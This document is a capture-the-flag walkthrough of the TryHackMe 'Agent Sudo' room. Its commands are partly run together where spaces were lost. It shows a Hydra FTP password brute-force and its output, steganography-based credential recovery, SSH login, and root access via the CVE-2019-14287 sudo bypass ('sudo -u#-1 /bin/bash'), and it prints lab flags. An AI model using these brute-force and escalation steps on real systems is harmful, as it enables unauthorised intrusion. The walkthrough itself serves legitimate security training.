Create a directory for machine on the Desktop and a directory containing the scans with nmap.
Task 2 - Reconnaissance
suecho"10.10.62.30 agent_sudo.thm">>/etc/hostsmkdirthm/agent_sudo.thmcdthm/agent_sudo.thm# At the end of the room# To clean up the last line from the /etc/hosts filesed-i'$ d'/etc/hosts
I prefer to start recon by pinging the target, this allows us to check connectivity and get OS info.
Sending these three ICMP packets, we see that the Time To Live (TTL) is ~64 secs. this indicates that the target is a *nix system (probably Linux), while Windows systems usually have a TTL of 128 secs.
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-07-02 18:24:07
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ftp://agent_sudo.thm:21/
[STATUS] 244.00 tries/min, 244 tries in 00:01h, 14344155 to do in 979:48h, 16 active
[21][ftp] host: agent_sudo.thm login: chris password: crystal
1 of 1 target successfully completed, 1 valid password found
All these alien like photos are fake! Agent R stored the real picture inside your directory. Your login password is somehow stored in the fake picture. It shouldn't be a problem for you.
From, Agent C
It surely means that we're talking about steganography, then, we download all photos with get command.
Glad you find this message. Your login password is hackerrules!
Don't ask me why the password look cheesy, ask agent R who set this password for you.
Your buddy, chris
James
4.5 - SSH password
Reading message.txt, we know that the psw is:
hackerrules!
sshjames@agent_sudo.thmjames@agent_sudo.thm's password: Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-55-generic x86_64)
Task 5 - Capture the user flag
5.1 - What is the user flag?
lsAlien_autospy.jpguser_flag.txtcatuser_flag.txt
🚩 Flag 1 (flag.txt)
b03d975e8c92a7c04146cfa7a5a313c7
5.2 - What is the incident of the photo called?
We need to find out where the image is from. You can use the command below to download the image from the machine and do a reverse image search on Google
scpjames@10.10.62.30:Alien_autospy.jpg/home/
We can do a reverse image search on this jpg using Google:
Roswell alien autopsy
Task 6 - Privilege escalation
6.1 - CVE number for the escalation
We can check the user's permissions by the following command:
sudo-l
Googling the result we find the following vulnerability:
In alternative we can retrieve sudo version and find it on searchsploit.
CVE-2019-14287
6.2 - What is the root flag?
We use this exploit to scale privileges:
sudo-u#-1 /bin/bash
We're root!
whoamirootcd/rootlsroot.txtcatroot.txt
🚩 Flag 2 (root.txt)
b53a02f55b57d4439e3341834d70c062
6.3 - (Bonus) Who is Agent R?
Reading all message of root's flag, we can say the name of agent R:
To Mr.hacker,
Congratulation on rooting this box. This box was designed for TryHackMe. Tips, always update your machine.